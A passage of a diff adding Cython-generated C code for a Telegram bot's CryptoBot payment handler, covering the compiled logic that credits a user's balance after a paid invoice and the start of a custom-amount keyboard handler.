PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":176 + * await add_payment(int(user_id), float(amount), "cryptobot") + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 176, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 176, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L14_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 176, __pyx_L7_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 176, __pyx_L7_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":177 + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 177, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_cur_scope->__pyx_v_user_id, __pyx_cur_scope->__pyx_v_amount}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L15_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 177, __pyx_L7_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 177, __pyx_L7_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":171 + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = int(amount_str) + */ + } + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L12_try_end; + __pyx_L7_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":178 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * else: + */ + __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_14) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_6, &__pyx_t_3) < 0) __PYX_ERR(0, 178, __pyx_L9_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_e = __pyx_t_6; + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":179 + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< + * else: + * logger.warning(f" : {payload}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_11); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_15))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_15); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_15); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_15, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_16}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L21_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + + /* "handlers/payments/cryprobot_pay.py":178 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * else: + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L22; + } + __pyx_L21_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21) < 0)) __Pyx_ErrFetch(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __pyx_t_14 = __pyx_lineno; __pyx_t_17 = __pyx_clineno; __pyx_t_18 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_23, __pyx_t_24); + } + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ErrRestore(__pyx_t_19, __pyx_t_20, __pyx_t_21); + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __pyx_lineno = __pyx_t_14; __pyx_clineno = __pyx_t_17; __pyx_filename = __pyx_t_18; + goto __pyx_L9_except_error; + } + __pyx_L22:; + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L8_exception_handled; + } + goto __pyx_L9_except_error; + + /* "handlers/payments/cryprobot_pay.py":171 + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = int(amount_str) + */ + __pyx_L9_except_error:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + goto __pyx_L1_error; + __pyx_L8_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); + __pyx_L12_try_end:; + } + + /* "handlers/payments/cryprobot_pay.py":168 + * + * async def process_crypto_payment(payload): + * if payload["status"] == "paid": # <<<<<<<<<<<<<< + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + */ + goto __pyx_L4; + } + + /* "handlers/payments/cryprobot_pay.py":181 + * logger.error(f" user_id amount: {e}") + * else: + * logger.warning(f" : {payload}") # <<<<<<<<<<<<<< + * + * + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_logger); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_warning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payload, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_4 = __Pyx_PyUnicode_Concat(__pyx_kp_u__25, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_4}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_L4:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_AddTraceback("process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_16process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 184, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 184, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 184, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 184, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 184, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_15process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_15process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 184, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5, __pyx_codeobj__26, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 184, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":188 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); 